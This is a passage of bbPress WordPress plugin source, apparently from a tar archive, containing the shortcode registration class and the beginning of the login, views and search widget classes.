		$new_title_array = array_reverse( explode( $t_sep, $new_title ) );
		$new_title       = implode( " $sep ", $new_title_array ) . $prefix;

	// sep on left, do not reverse
	} else {
		$new_title_array = explode( $t_sep, $new_title );
		$new_title       = $prefix . implode( " $sep ", $new_title_array );
	}

	// Filter & return
	return apply_filters( 'bbp_title', $new_title, $sep, $seplocation );
}
includes/common/shortcodes.php000066600000052301151771460310012542 0ustar00<?php

/**
 * bbPress Shortcodes
 *
 * @package bbPress
 * @subpackage Shortcodes
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Shortcodes' ) ) :
/**
 * bbPress Shortcode Class
 *
 * @since 2.0.0 bbPress (r3031)
 */
class BBP_Shortcodes {

	/** Vars ******************************************************************/

	/**
	 * @var array Shortcode => function
	 */
	public $codes = array();

	/** Functions *************************************************************/

	/**
	 * Add the register_shortcodes action to bbp_init
	 *
	 * @since 2.0.0 bbPress (r3031)
	 *
	 */
	public function __construct() {
		$this->setup_globals();
		$this->add_shortcodes();
	}

	/**
	 * Shortcode globals
	 *
	 * @since 2.0.0 bbPress (r3143)
	 *
	 * @access private
	 */
	private function setup_globals() {

		// Setup the shortcodes
		$this->codes = apply_filters( 'bbp_shortcodes', array(

			/** Forums ********************************************************/

			'bbp-forum-index'      => array( $this, 'display_forum_index'   ), // Forum Index
			'bbp-forum-form'       => array( $this, 'display_forum_form'    ), // Topic form
			'bbp-single-forum'     => array( $this, 'display_forum'         ), // Specific forum - pass an 'id' attribute

			/** Topics ********************************************************/

			'bbp-topic-index'      => array( $this, 'display_topic_index'   ), // Topic index
			'bbp-topic-form'       => array( $this, 'display_topic_form'    ), // Topic form
			'bbp-single-topic'     => array( $this, 'display_topic'         ), // Specific topic - pass an 'id' attribute

			/** Topic Tags ****************************************************/

			'bbp-topic-tags'       => array( $this, 'display_topic_tags'    ), // All topic tags in a cloud
			'bbp-single-tag'       => array( $this, 'display_topics_of_tag' ), // Topics of Tag

			/** Replies *******************************************************/

			'bbp-reply-form'       => array( $this, 'display_reply_form'    ), // Reply form
			'bbp-single-reply'     => array( $this, 'display_reply'         ), // Specific reply - pass an 'id' attribute

			/** Views *********************************************************/

			'bbp-single-view'      => array( $this, 'display_view'          ), // Single view

			/** Search ********************************************************/

			'bbp-search-form'      => array( $this, 'display_search_form'   ), // Search form
			'bbp-search'           => array( $this, 'display_search'        ), // Search

			/** Account *******************************************************/

			'bbp-login'            => array( $this, 'display_login'         ), // Login
			'bbp-register'         => array( $this, 'display_register'      ), // Register
			'bbp-lost-pass'        => array( $this, 'display_lost_pass'     ), // Lost Password

			/** Others *******************************************************/

			'bbp-stats'            => array( $this, 'display_stats'         ), // Stats
		) );
	}

	/**
	 * Register the bbPress shortcodes
	 *
	 * @since 2.0.0 bbPress (r3031)
	 */
	private function add_shortcodes() {
		foreach ( (array) $this->codes as $code => $function ) {
			add_shortcode( $code, $function );
		}
	}

	/**
	 * Unset some globals in the $bbp object that hold query related info
	 *
	 * @since 2.0.0 bbPress (r3034)
	 */
	private function unset_globals() {
		$bbp = bbpress();

		// Unset global queries
		$bbp->forum_query  = new WP_Query();
		$bbp->topic_query  = new WP_Query();
		$bbp->reply_query  = new WP_Query();
		$bbp->search_query = new WP_Query();

		// Unset global ID's
		$bbp->current_view_id      = 0;
		$bbp->current_forum_id     = 0;
		$bbp->current_topic_id     = 0;
		$bbp->current_reply_id     = 0;
		$bbp->current_topic_tag_id = 0;

		// Reset the post data
		wp_reset_postdata();
	}

	/** Output Buffers ********************************************************/

	/**
	 * Start an output buffer.
	 *
	 * This is used to put the contents of the shortcode into a variable rather
	 * than outputting the HTML at run-time. This allows shortcodes to appear
	 * in the correct location in the_content() instead of when it's created.
	 *
	 * @since 2.0.0 bbPress (r3079)
	 *
	 * @param string $query_name
	 */
	private function start( $query_name = '' ) {

		// Set query name
		bbp_set_query_name( $query_name );

		// Start output buffer
		ob_start();
	}

	/**
	 * Return the contents of the output buffer and flush its contents.
	 *
	 * @since 2.0.0 bbPress (r3079)
	 *
	 * @return string Contents of output buffer.
	 */
	private function end() {

		// Unset globals
		$this->unset_globals();

		// Get the query name, for filter
		$query_name = bbp_get_query_name();

		// Reset the query name
		bbp_reset_query_name();

		// Return and flush the output buffer
		$output = ob_get_clean();

		// Filter & return
		return apply_filters( 'bbp_display_shortcode', $output, $query_name );
	}

	/** Forum shortcodes ******************************************************/

	/**
	 * Display an index of all visible root level forums in an output buffer
	 * and return to ensure that post/page contents are displayed first.
	 *
	 * @since 2.0.0 bbPress (r3031)
	 *
	 * @return string
	 */
	public function display_forum_index() {

		// Unset globals
		$this->unset_globals();

		// Start output buffer
		$this->start( 'bbp_forum_archive' );

		bbp_get_template_part( 'content', 'archive-forum' );

		// Return contents of output buffer
		return $this->end();
	}

	/**
	 * Display the contents of a specific forum ID in an output buffer
	 * and return to ensure that post/page contents are displayed first.
	 *
	 * @since 2.0.0 bbPress (r3031)
	 *
	 * @param array $attr
	 * @param string $content
	 * @return string
	 */
	public function display_forum( $attr, $content = '' ) {

		// Sanity check required info
		if ( ! empty( $content ) || ( empty( $attr['id'] ) || ! is_numeric( $attr['id'] ) ) ) {
			return $content;
		}

		// Set passed attribute to $forum_id for clarity
		$forum_id = bbpress()->current_forum_id = $attr['id'];

		// Bail if ID passed is not a forum
		if ( ! bbp_is_forum( $forum_id ) ) {
			return $content;
		}

		// Start output buffer
		$this->start( 'bbp_single_forum' );

		// Check forum caps
		if ( bbp_user_can_view_forum( array( 'forum_id' => $forum_id ) ) ) {
			bbp_get_template_part( 'content',  'single-forum' );

		// Forum is private and user does not have caps
		} elseif ( bbp_is_forum_private( $forum_id, false ) ) {
			bbp_get_template_part( 'feedback', 'no-access'    );
		}

		// Return contents of output buffer
		return $this->end();
	}

	/**
	 * Display the forum form in an output buffer and return to ensure
	 * post/page contents are displayed first.
	 *
	 * @since 2.1.0 bbPress (r3566)
	 */
	public function display_forum_form() {

		// Start output buffer
		$this->start( 'bbp_forum_form' );

		// Output templates
		bbp_get_template_part( 'form', 'forum' );

		// Return contents of output buffer
		return $this->end();
	}

	/** Topic shortcodes ******************************************************/

	/**
	 * Display an index of all visible root level topics in an output buffer
	 * and return to ensure that post/page contents are displayed first.
	 *
	 * @since 2.0.0 bbPress (r3031)
	 *
	 * @return string
	 */
	public function display_topic_index() {

		// Unset globals
		$this->unset_globals();

		// Filter the query
		if ( ! bbp_is_topic_archive() ) {
			add_filter( 'bbp_before_has_topics_parse_args', array( $this, 'display_topic_index_query' ) );
		}

		// Start output buffer
		$this->start( 'bbp_topic_archive' );

		// Output template
		bbp_get_template_part( 'content', 'archive-topic' );

		// Return contents of output buffer
		return $this->end();
	}

	/**
	 * Display the contents of a specific topic ID in an output buffer
	 * and return to ensure that post/page contents are displayed first.
	 *
	 * @since 2.0.0 bbPress (r3031)
	 *
	 * @param array $attr
	 * @param string $content
	 * @return string
	 */
	public function display_topic( $attr, $content = '' ) {

		// Sanity check required info
		if ( ! empty( $content ) || ( empty( $attr['id'] ) || ! is_numeric( $attr['id'] ) ) ) {
			return $content;
		}

		// Unset globals
		$this->unset_globals();

		// Set passed attribute to $forum_id for clarity
		$topic_id = bbpress()->current_topic_id = $attr['id'];
		$forum_id = bbp_get_topic_forum_id( $topic_id );

		// Bail if ID passed is not a topic
		if ( ! bbp_is_topic( $topic_id ) ) {
			return $content;
		}

		// Reset the queries if not in theme compat
		if ( ! bbp_is_theme_compat_active() ) {

			$bbp = bbpress();

			// Reset necessary forum_query attributes for topics loop to function
			$bbp->forum_query->query_vars['post_type'] = bbp_get_forum_post_type();
			$bbp->forum_query->in_the_loop             = true;
			$bbp->forum_query->post                    = get_post( $forum_id );

			// Reset necessary topic_query attributes for topics loop to function
			$bbp->topic_query->query_vars['post_type'] = bbp_get_topic_post_type();
			$bbp->topic_query->in_the_loop             = true;
			$bbp->topic_query->post                    = get_post( $topic_id );
		}

		// Start output buffer
		$this->start( 'bbp_single_topic' );

		// Check forum caps
		if ( bbp_user_can_view_forum( array( 'forum_id' => $forum_id ) ) ) {
			bbp_get_template_part( 'content', 'single-topic' );

		// Forum is private and user does not have caps
		} elseif ( bbp_is_forum_private( $forum_id, false ) ) {
			bbp_get_template_part( 'feedback', 'no-access'    );
		}

		// Return contents of output buffer
		return $this->end();
	}

	/**
	 * Display the topic form in an output buffer and return to ensure
	 * post/page contents are displayed first.
	 *
	 * Supports 'forum_id' attribute to display the topic form for a particular
	 * forum. This currently has styling issues from not being wrapped in
	 * <div id="bbpress-forums" class="bbpress-wrapper"></div> which will need to be sorted out later.
	 *
	 * @since 2.0.0 bbPress (r3031)
	 *
	 * @param array $attr
	 * @param string $content
	 * @return string
	 */
	public function display_topic_form( $attr = array(), $content = '' ) {

		// Sanity check supplied info
		if ( ! empty( $content ) || ( ! empty( $attr['forum_id'] ) && ( ! is_numeric( $attr['forum_id'] ) || ! bbp_is_forum( $attr['forum_id'] ) ) ) ) {
			return $content;
		}

		// Unset globals
		$this->unset_globals();

		// If forum id is set, use the 'bbp_single_forum' query name
		if ( ! empty( $attr['forum_id'] ) ) {

			// Set the global current_forum_id for future requests
			bbpress()->current_forum_id = $forum_id = bbp_get_forum_id( $attr['forum_id'] );

			// Start output buffer
			$this->start( 'bbp_single_forum' );

		// No forum id was passed
		} else {

			// Set the $forum_id variable to satisfy checks below
			$forum_id = 0;

			// Start output buffer
			$this->start( 'bbp_topic_form' );
		}

		// If the forum id is set, check forum caps else display normal topic form
		if ( empty( $forum_id ) || bbp_user_can_view_forum( array( 'forum_id' => $forum_id ) ) ) {
			bbp_get_template_part( 'form', 'topic' );

		// Forum is private and user does not have caps
		} elseif ( bbp_is_forum_private( $forum_id, false ) ) {
			bbp_get_template_part( 'feedback', 'no-access' );
		}

		// Return contents of output buffer
		return $this->end();
	}

	/** Replies ***************************************************************/

	/**
	 * Display the contents of a specific reply ID in an output buffer
	 * and return to ensure that post/page contents are displayed first.
	 *
	 * @since 2.0.0 bbPress (r3031)
	 *
	 * @param array $attr
	 * @param string $content
	 * @return string
	 */
	public function display_reply( $attr, $content = '' ) {

		// Sanity check required info
		if ( ! empty( $content ) || ( empty( $attr['id'] ) || ! is_numeric( $attr['id'] ) ) ) {
			return $content;
		}

		// Unset globals
		$this->unset_globals();

		// Set passed attribute to $reply_id for clarity
		$reply_id = bbpress()->current_reply_id = $attr['id'];
		$forum_id = bbp_get_reply_forum_id( $reply_id );

		// Bail if ID passed is not a reply
		if ( ! bbp_is_reply( $reply_id ) ) {
			return $content;
		}

		// Reset the queries if not in theme compat
		if ( ! bbp_is_theme_compat_active() ) {

			$bbp = bbpress();

			// Reset necessary forum_query attributes for reply loop to function
			$bbp->forum_query->query_vars['post_type'] = bbp_get_forum_post_type();
			$bbp->forum_query->in_the_loop             = true;
			$bbp->forum_query->post                    = get_post( $forum_id );

			// Reset necessary reply_query attributes for reply loop to function
			$bbp->reply_query->query_vars['post_type'] = bbp_get_reply_post_type();
			$bbp->reply_query->in_the_loop             = true;
			$bbp->reply_query->post                    = get_post( $reply_id );
		}

		// Start output buffer
		$this->start( 'bbp_single_reply' );

		// Check forum caps
		if ( bbp_user_can_view_forum( array( 'forum_id' => $forum_id ) ) ) {
			bbp_get_template_part( 'content',  'single-reply' );

		// Forum is private and user does not have caps
		} elseif ( bbp_is_forum_private( $forum_id, false ) ) {
			bbp_get_template_part( 'feedback', 'no-access'    );
		}

		// Return contents of output buffer
		return $this->end();
	}

	/**
	 * Display the reply form in an output buffer and return to ensure
	 * post/page contents are displayed first.
	 *
	 * @since 2.0.0 bbPress (r3031)
	 */
	public function display_reply_form() {

		// Start output buffer
		$this->start( 'bbp_reply_form' );

		// Output templates
		bbp_get_template_part( 'form', 'reply' );

		// Return contents of output buffer
		return $this->end();
	}

	/** Topic Tags ************************************************************/

	/**
	 * Display a tag cloud of all topic tags in an output buffer and return to
	 * ensure that post/page contents are displayed first.
	 *
	 * @since 2.0.0 bbPress (r3110)
	 *
	 * @return string
	 */
	public function display_topic_tags() {

		// Unset globals
		$this->unset_globals();

		// Start output buffer
		$this->start( 'bbp_topic_tags' );

		// Output the topic tags
		wp_tag_cloud( array(
			'smallest' => 9,
			'largest'  => 38,
			'number'   => 80,
			'taxonomy' => bbp_get_topic_tag_tax_id()
		) );

		// Return contents of output buffer
		return $this->end();
	}

	/**
	 * Display the contents of a specific topic tag in an output buffer
	 * and return to ensure that post/page contents are displayed first.
	 *
	 * @since 2.0.0 bbPress (r3110)
	 *
	 * @param array $attr
	 * @param string $content
	 * @return string
	 */
	public function display_topics_of_tag( $attr, $content = '' ) {

		// Sanity check required info
		if ( ! empty( $content ) || ( empty( $attr['id'] ) || ! is_numeric( $attr['id'] ) ) ) {
			return $content;
		}

		// Unset globals
		$this->unset_globals();

		// Filter the query
		if ( ! bbp_is_topic_tag() ) {
			add_filter( 'bbp_before_has_topics_parse_args', array( $this, 'display_topics_of_tag_query' ) );
		}

		// Start output buffer
		$this->start( 'bbp_topic_tag' );

		// Set passed attribute to $ag_id for clarity
		bbpress()->current_topic_tag_id = $tag_id = $attr['id'];

		// Output template
		bbp_get_template_part( 'content', 'archive-topic' );

		// Return contents of output buffer
		return $this->end();
	}

	/**
	 * Display the contents of a specific topic tag in an output buffer
	 * and return to ensure that post/page contents are displayed first.
	 *
	 * @since 2.0.0 bbPress (r3346)
	 *
	 * @return string
	 */
	public function display_topic_tag_form() {

		// Unset globals
		$this->unset_globals();

		// Start output buffer
		$this->start( 'bbp_topic_tag_edit' );

		// Output template
		bbp_get_template_part( 'content', 'topic-tag-edit' );

		// Return contents of output buffer
		return $this->end();
	}

	/** Views *****************************************************************/

	/**
	 * Display the contents of a specific view in an output buffer and return to
	 * ensure that post/page contents are displayed first.
	 *
	 * @since 2.0.0 bbPress (r3031)
	 *
	 * @param array $attr
	 * @param string $content
	 * @return string
	 */
	public function display_view( $attr, $content = '' ) {

		// Sanity check required info
		if ( empty( $attr['id'] ) ) {
			return $content;
		}

		// Set passed attribute to $view_id for clarity
		$view_id = $attr['id'];

		// Start output buffer
		$this->start( 'bbp_single_view' );

		// Unset globals
		$this->unset_globals();

		// Set the current view ID
		bbpress()->current_view_id = $view_id;

		// Load the view
		bbp_view_query( $view_id );

		// Output template
		bbp_get_template_part( 'content', 'single-view' );

		// Return contents of output buffer
		return $this->end();
	}

	/** Search ****************************************************************/

	/**
	 * Display the search form in an output buffer and return to ensure
	 * post/page contents are displayed first.
	 *
	 * @since 2.3.0 bbPress (r4585)
	 */
	public function display_search_form() {

		// Bail if search is disabled
		if ( ! bbp_allow_search() ) {
			return;
		}

		// Start output buffer
		$this->start( 'bbp_search_form' );

		// Output templates
		bbp_get_template_part( 'form', 'search' );

		// Return contents of output buffer
		return $this->end();
	}

	/**
	 * Display the contents of search results in an output buffer and return to
	 * ensure that post/page contents are displayed first.
	 *
	 * @since 2.3.0 bbPress (r4579)
	 *
	 * @param array $attr
	 * @param string $content
	 */
	public function display_search( $attr, $content = '' ) {

		// Sanity check required info
		if ( ! empty( $content ) ) {
			return $content;
		}

		// Bail if search is disabled
		if ( ! bbp_allow_search() ) {
			return;
		}

		// Trim search attribute if it's set
		if ( isset( $attr['search'] ) ) {
			$attr['search'] = trim( $attr['search'] );
		}

		// Set passed attribute to $search_terms for clarity
		$search_terms = empty( $attr['search'] )
			? bbp_get_search_terms()
			: $attr['search'];

		// Get the rewrite ID (one time, to avoid repeated calls)
		$rewrite_id = bbp_get_search_rewrite_id();

		// Unset globals
		$this->unset_globals();

		// Set terms for query
		set_query_var( $rewrite_id, $search_terms );

		// Start output buffer
		$this->start( $rewrite_id );

		// Output template
		bbp_get_template_part( 'content', 'search' );

		// Return contents of output buffer
		return $this->end();
	}

	/** Account ***************************************************************/

	/**
	 * Display a login form
	 *
	 * @since 2.0.0 bbPress (r3302)
	 *
	 * @return string
	 */
	public function display_login() {

		// Unset globals
		$this->unset_globals();

		// Start output buffer
		$this->start( 'bbp_login' );

		// Output templates
		if ( ! is_user_logged_in() ) {
			bbp_get_template_part( 'form',     'user-login' );
		} else {
			bbp_get_template_part( 'feedback', 'logged-in'  );
		}

		// Return contents of output buffer
		return $this->end();
	}

	/**
	 * Display a register form
	 *
	 * @since 2.0.0 bbPress (r3302)
	 *
	 * @return string
	 */
	public function display_register() {

		// Unset globals
		$this->unset_globals();

		// Start output buffer
		$this->start( 'bbp_register' );

		// Output templates
		if ( ! is_user_logged_in() ) {
			bbp_get_template_part( 'form',     'user-register' );
		} else {
			bbp_get_template_part( 'feedback', 'logged-in'     );
		}

		// Return contents of output buffer
		return $this->end();
	}

	/**
	 * Display a lost password form
	 *
	 * @since 2.0.0 bbPress (r3302)
	 *
	 * @return string
	 */
	public function display_lost_pass() {

		// Unset globals
		$this->unset_globals();

		// Start output buffer
		$this->start( 'bbp_lost_pass' );

		// Output templates
		if ( ! is_user_logged_in() ) {
			bbp_get_template_part( 'form',     'user-lost-pass' );
		} else {
			bbp_get_template_part( 'feedback', 'logged-in'      );
		}

		// Return contents of output buffer
		return $this->end();
	}

	/** Other *****************************************************************/

	/**
	 * Display forum statistics
	 *
	 * @since 2.3.0 bbPress (r4509)
	 *
	 * @return string
	 */
	public function display_stats() {

		// Unset globals
		$this->unset_globals();

		// Start output buffer
		$this->start();

		// Output statistics
		bbp_get_template_part( 'content', 'statistics' );

		// Return contents of output buffer
		return $this->end();
	}

	/**
	 * Display a breadcrumb
	 *
	 * @since 2.0.0 bbPress (r3302)
	 *
	 * @return string
	 */
	public function display_breadcrumb() {

		// Unset globals
		$this->unset_globals();

		// Start output buffer
		$this->start();

		// Output breadcrumb
		bbp_breadcrumb();

		// Return contents of output buffer
		return $this->end();
	}

	/** Query Filters *********************************************************/

	/**
	 * Filter the query for the topic index
	 *
	 * @since 2.1.0 bbPress (r3637)
	 *
	 * @param array $args
	 * @return array
	 */
	public function display_topic_index_query( $args = array() ) {
		$args['author']        = 0;
		$args['show_stickies'] = true;
		$args['order']         = 'DESC';
		return $args;
	}

	/**
	 * Filter the query for topic tags
	 *
	 * @since 2.1.0 bbPress (r3637)
	 *
	 * @param array $args
	 * @return array
	 */
	public function display_topics_of_tag_query( $args = array() ) {
		$args['tax_query'] = array( array(
			'taxonomy' => bbp_get_topic_tag_tax_id(),
			'field'    => 'id',
			'terms'    => bbpress()->current_topic_tag_id
		) );

		return $args;
	}
}
endif;
includes/common/widgets.php000066600000110767151771460310012046 0ustar00<?php

/**
 * bbPress Widgets
 *
 * Contains the forum list, topic list, reply list and login form widgets.
 *
 * @package bbPress
 * @subpackage Widgets
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * bbPress Login Widget
 *
 * Adds a widget which displays the login form
 *
 * @since 2.0.0 bbPress (r2827)
 */
class BBP_Login_Widget extends WP_Widget {

	/**
	 * bbPress Login Widget
	 *
	 * Registers the login widget
	 *
	 * @since 2.0.0 bbPress (r2827)
	 */
	public function __construct() {
		$widget_ops = apply_filters( 'bbp_login_widget_options', array(
			'classname'                   => 'bbp_widget_login',
			'description'                 => esc_html__( 'A simple login form with optional links to sign-up and lost password pages.', 'bbpress' ),
			'customize_selective_refresh' => true
		) );

		parent::__construct( false, esc_html__( '(bbPress) Login Widget', 'bbpress' ), $widget_ops );
	}

	/**
	 * Register the widget
	 *
	 * @since 2.0.0 bbPress (r3389)
	 */
	public static function register_widget() {
		register_widget( 'BBP_Login_Widget' );
	}

	/**
	 * Displays the output, the login form
	 *
	 * @since 2.0.0 bbPress (r2827)
	 *
	 * @param array $args Arguments
	 * @param array $instance Instance
	 */
	public function widget( $args = array(), $instance = array() ) {

		// Get widget settings
		$settings = $this->parse_settings( $instance );

		// Typical WordPress filter
		$settings['title'] = apply_filters( 'widget_title', $settings['title'], $instance, $this->id_base );

		// bbPress filters
		$settings['title']    = apply_filters( 'bbp_login_widget_title',    $settings['title'],    $instance, $this->id_base );
		$settings['register'] = apply_filters( 'bbp_login_widget_register', $settings['register'], $instance, $this->id_base );
		$settings['lostpass'] = apply_filters( 'bbp_login_widget_lostpass', $settings['lostpass'], $instance, $this->id_base );

		echo $args['before_widget'];

		if ( ! empty( $settings['title'] ) ) {
			echo $args['before_title'] . $settings['title'] . $args['after_title'];
		}

		if ( ! is_user_logged_in() ) : ?>

			<form method="post" action="<?php bbp_wp_login_action( array( 'context' => 'login_post' ) ); ?>" class="bbp-login-form">
				<fieldset class="bbp-form">
					<legend><?php esc_html_e( 'Log In', 'bbpress' ); ?></legend>

					<div class="bbp-username">
						<label for="user_login"><?php esc_html_e( 'Username', 'bbpress' ); ?>: </label>
						<input type="text" name="log" value="<?php bbp_sanitize_val( 'user_login', 'text' ); ?>" size="20" maxlength="100" id="user_login" autocomplete="off" />
					</div>

					<div class="bbp-password">
						<label for="user_pass"><?php esc_html_e( 'Password', 'bbpress' ); ?>: </label>
						<input type="password" name="pwd" value="<?php bbp_sanitize_val( 'user_pass', 'password' ); ?>" size="20" id="user_pass" autocomplete="off" />
					</div>

					<div class="bbp-remember-me">
						<input type="checkbox" name="rememberme" value="forever" <?php checked( bbp_get_sanitize_val( 'rememberme', 'checkbox' ) ); ?> id="rememberme" />
						<label for="rememberme"><?php esc_html_e( 'Keep me signed in', 'bbpress' ); ?></label>
					</div>

					<?php do_action( 'login_form' ); ?>

					<div class="bbp-submit-wrapper">

						<button type="submit" name="user-submit" id="user-submit" class="button submit user-submit"><?php esc_html_e( 'Log In', 'bbpress' ); ?></button>

						<?php bbp_user_login_fields(); ?>

					</div>

					<?php if ( ! empty( $settings['register'] ) || ! empty( $settings['lostpass'] ) ) : ?>

						<div class="bbp-login-links">

							<?php if ( ! empty( $settings['register'] ) ) : ?>

								<a href="<?php echo esc_url( $settings['register'] ); ?>" title="<?php esc_attr_e( 'Register', 'bbpress' ); ?>" class="bbp-register-link"><?php esc_html_e( 'Register', 'bbpress' ); ?></a>

							<?php endif; ?>

							<?php if ( ! empty( $settings['lostpass'] ) ) : ?>

								<a href="<?php echo esc_url( $settings['lostpass'] ); ?>" title="<?php esc_attr_e( 'Lost Password', 'bbpress' ); ?>" class="bbp-lostpass-link"><?php esc_html_e( 'Lost Password', 'bbpress' ); ?></a>

							<?php endif; ?>

						</div>

					<?php endif; ?>

				</fieldset>
			</form>

		<?php else : ?>

			<div class="bbp-logged-in">
				<a href="<?php bbp_user_profile_url( bbp_get_current_user_id() ); ?>" class="submit user-submit"><?php echo get_avatar( bbp_get_current_user_id(), '40' ); ?></a>
				<h4><?php bbp_user_profile_link( bbp_get_current_user_id() ); ?></h4>

				<?php bbp_logout_link(); ?>
			</div>

		<?php endif;

		echo $args['after_widget'];
	}

	/**
	 * Update the login widget options
	 *
	 * @since 2.0.0 bbPress (r2827)
	 *
	 * @param array $new_instance The new instance options
	 * @param array $old_instance The old instance options
	 */
	public function update( $new_instance, $old_instance ) {
		$instance             = $old_instance;
		$instance['title']    = strip_tags( $new_instance['title'] );
		$instance['register'] = esc_url_raw( $new_instance['register'] );
		$instance['lostpass'] = esc_url_raw( $new_instance['lostpass'] );

		return $instance;
	}

	/**
	 * Output the login widget options form
	 *
	 * @since 2.0.0 bbPress (r2827)
	 *
	 * @param $instance Instance
	 */
	public function form( $instance = array() ) {

		// Get widget settings
		$settings = $this->parse_settings( $instance ); ?>

		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php esc_html_e( 'Title:', 'bbpress' ); ?>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $settings['title'] ); ?>" /></label>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id( 'register' ); ?>"><?php esc_html_e( 'Register URI:', 'bbpress' ); ?>
			<input class="widefat" id="<?php echo $this->get_field_id( 'register' ); ?>" name="<?php echo $this->get_field_name( 'register' ); ?>" type="text" value="<?php echo esc_url( $settings['register'] ); ?>" /></label>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id( 'lostpass' ); ?>"><?php esc_html_e( 'Lost Password URI:', 'bbpress' ); ?>
			<input class="widefat" id="<?php echo $this->get_field_id( 'lostpass' ); ?>" name="<?php echo $this->get_field_name( 'lostpass' ); ?>" type="text" value="<?php echo esc_url( $settings['lostpass'] ); ?>" /></label>
		</p>

		<?php
	}

	/**
	 * Merge the widget settings into defaults array.
	 *
	 * @since 2.3.0 bbPress (r4802)
	 *
	 * @param $instance Instance
	 */
	public function parse_settings( $instance = array() ) {
		return bbp_parse_args( $instance, array(
			'title'    => '',
			'register' => '',
			'lostpass' => ''
		), 'login_widget_settings' );
	}
}

/**
 * bbPress Views Widget
 *
 * Adds a widget which displays the view list
 *
 * @since 2.0.0 bbPress (r3020)
 */
class BBP_Views_Widget extends WP_Widget {

	/**
	 * bbPress View Widget
	 *
	 * Registers the view widget
	 *
	 * @since 2.0.0 bbPress (r3020)
	 */
	public function __construct() {
		$widget_ops = apply_filters( 'bbp_views_widget_options', array(
			'classname'                   => 'widget_display_views',
			'description'                 => esc_html__( 'A list of registered optional topic views.', 'bbpress' ),
			'customize_selective_refresh' => true
		) );

		parent::__construct( false, esc_html__( '(bbPress) Topic Views List', 'bbpress' ), $widget_ops );
	}

	/**
	 * Register the widget
	 *
	 * @since 2.0.0 bbPress (r3389)
	 */
	public static function register_widget() {
		register_widget( 'BBP_Views_Widget' );
	}

	/**
	 * Displays the output, the view list
	 *
	 * @since 2.0.0 bbPress (r3020)
	 *
	 * @param array $args Arguments
	 * @param array $instance Instance
	 */
	public function widget( $args = array(), $instance = array() ) {

		// Only output widget contents if views exist
		if ( ! bbp_get_views() ) {
			return;
		}

		// Get widget settings
		$settings = $this->parse_settings( $instance );

		// Typical WordPress filter
		$settings['title'] = apply_filters( 'widget_title',          $settings['title'], $instance, $this->id_base );

		// bbPress filter
		$settings['title'] = apply_filters( 'bbp_view_widget_title', $settings['title'], $instance, $this->id_base );

		// Start an output buffer
		ob_start();

		echo $args['before_widget'];

		if ( ! empty( $settings['title'] ) ) {
			echo $args['before_title'] . $settings['title'] . $args['after_title'];
		} ?>

		<ul class="bbp-views-widget">

			<?php foreach ( array_keys( bbp_get_views() ) as $view ) : ?>

				<li><a class="bbp-view-title" href="<?php bbp_view_url( $view ); ?>"><?php bbp_view_title( $view ); ?></a></li>

			<?php endforeach; ?>

		</ul>

		<?php echo $args['after_widget'];

		// Output the current buffer
		echo ob_get_clean();
	}

	/**
	 * Update the view widget options
	 *
	 * @since 2.0.0 bbPress (r3020)
	 *
	 * @param array $new_instance The new instance options
	 * @param array $old_instance The old instance options
	 */
	public function update( $new_instance = array(), $old_instance = array() ) {
		$instance          = $old_instance;
		$instance['title'] = strip_tags( $new_instance['title'] );

		return $instance;
	}

	/**
	 * Output the view widget options form
	 *
	 * @since 2.0.0 bbPress (r3020)
	 *
	 * @param $instance Instance
	 */
	public function form( $instance = array() ) {

		// Get widget settings
		$settings = $this->parse_settings( $instance ); ?>

		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php esc_html_e( 'Title:', 'bbpress' ); ?>
				<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $settings['title'] ); ?>" />
			</label>
		</p>

		<?php
	}

	/**
	 * Merge the widget settings into defaults array.
	 *
	 * @since 2.3.0 bbPress (r4802)
	 *
	 * @param $instance Instance
	 */
	public function parse_settings( $instance = array() ) {
		return bbp_parse_args( $instance, array(
			'title' => ''
		), 'view_widget_settings' );
	}
}

/**
 * bbPress Search Widget
 *
 * Adds a widget which displays the forum search form
 *
 * @since 2.3.0 bbPress (r4579)
 */
class BBP_Search_Widget extends WP_Widget {

	/**
	 * bbPress Search Widget
	 *
	 * Registers the search widget
	 *
	 * @since 2.3.0 bbPress (r4579)
	 */
	public function __construct() {
		$widget_ops = apply_filters( 'bbp_search_widget_options', array(
			'classname'                   => 'widget_display_search',
			'description'                 => esc_html__( 'The bbPress forum search form.', 'bbpress' ),
			'customize_selective_refresh' => true
		) );

		parent::__construct( false, esc_html__( '(bbPress) Forum Search Form', 'bbpress' ), $widget_ops );
	}

	/**
	 * Register the widget
	 *
	 * @since 2.3.0 bbPress (r4579)
	 */
	public static function register_widget() {
		register_widget( 'BBP_Search_Widget' );
	}

	/**
	 * Displays the output, the search form
	 *
	 * @since 2.3.0 bbPress (r4579)
	 */
	public function widget( $args, $instance ) {

		// Bail if search is disabled
		if ( ! bbp_allow_search() ) {
			return;
		}

		// Get widget settings
		$settings = $this->parse_settings( $instance );

		// Typical WordPress filter
		$settings['title'] = apply_filters( 'widget_title',            $settings['title'], $instance, $this->id_base );

		// bbPress filter
		$settings['title'] = apply_filters( 'bbp_search_widget_title', $settings['title'], $instance, $this->id_base );

		echo $args['before_widget'];

		if ( ! empty( $settings['title'] ) ) {
			echo $args['before_title'] . $settings['title'] . $args['after_title'];
		}

		bbp_get_template_part( 'form', 'search' );

		echo $args['after_widget'];
	}

	/**
	 * Update the widget options
	 *
	 * @since 2.3.0 bbPress (r4579)
	 *
	 * @param array $new_instance The new instance options
	 * @param array $old_instance The old instance options
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$instance['title'] = strip_tags( $new_instance['title'] );

		return $instance;
	}

	/**
	 * Output the search widget options form
	 *
	 * @since 2.3.0 bbPress (r4579)
	 *
	 * @param $instance Instance
	 */
	public function form( $instance ) {

		// Get widget settings
		$settings = $this->parse_settings( $instance ); ?>

		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php esc_html_e( 'Title:', 'bbpress' ); ?>
